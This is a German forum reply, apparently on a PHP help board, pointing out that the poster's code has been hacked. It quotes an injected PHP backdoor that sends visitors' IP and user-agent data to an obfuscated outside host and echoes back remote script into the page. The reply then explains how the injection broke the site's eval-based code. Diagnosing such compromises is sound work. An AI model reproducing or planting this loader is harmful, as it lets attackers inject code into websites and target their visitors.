Der Code, den du gepostet hast, wurde übrigens (wahrscheinlich) gehackt.
PHP-Code:
#233cde#
error_reporting(0); ini_set('display_errors',0); $wp_x229 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_x229) && !preg_match ('/bot/i', $wp_x229))){
$wp_x09229="http://"."html"."common".".com/common"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_x229);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_x09229);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_229x = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_229x,1,3) === 'scr' ){ echo $wp_229x; }
#/233cde#
Das ist eine Art Backdoor, um (vermutlich) JavaScript-Code einzuschleusen.
Siehe etwa:
Hackerangriff bei 1und1? - php.de
Der eingefügte Hack ist vermutlich auch der Grund, warum der Code nicht mehr geht. Theorie: Der Angreifer (beziehungsweise das angreifende Script) platziert den Schadcode hinter dem ersten (?) Vorkommen von „?>“. Das steht bei eurer Seite aber in einem String für eval. Deshalb führen dann die Anführungszeichen im Schadcode schnell zu Syntaxfehlern.
Die nicht unbedingt gute Programmierung (Nutzung von eval) hat in diesem Fall damit wohl zur Entdeckung eines Sicherheitsproblems geführt.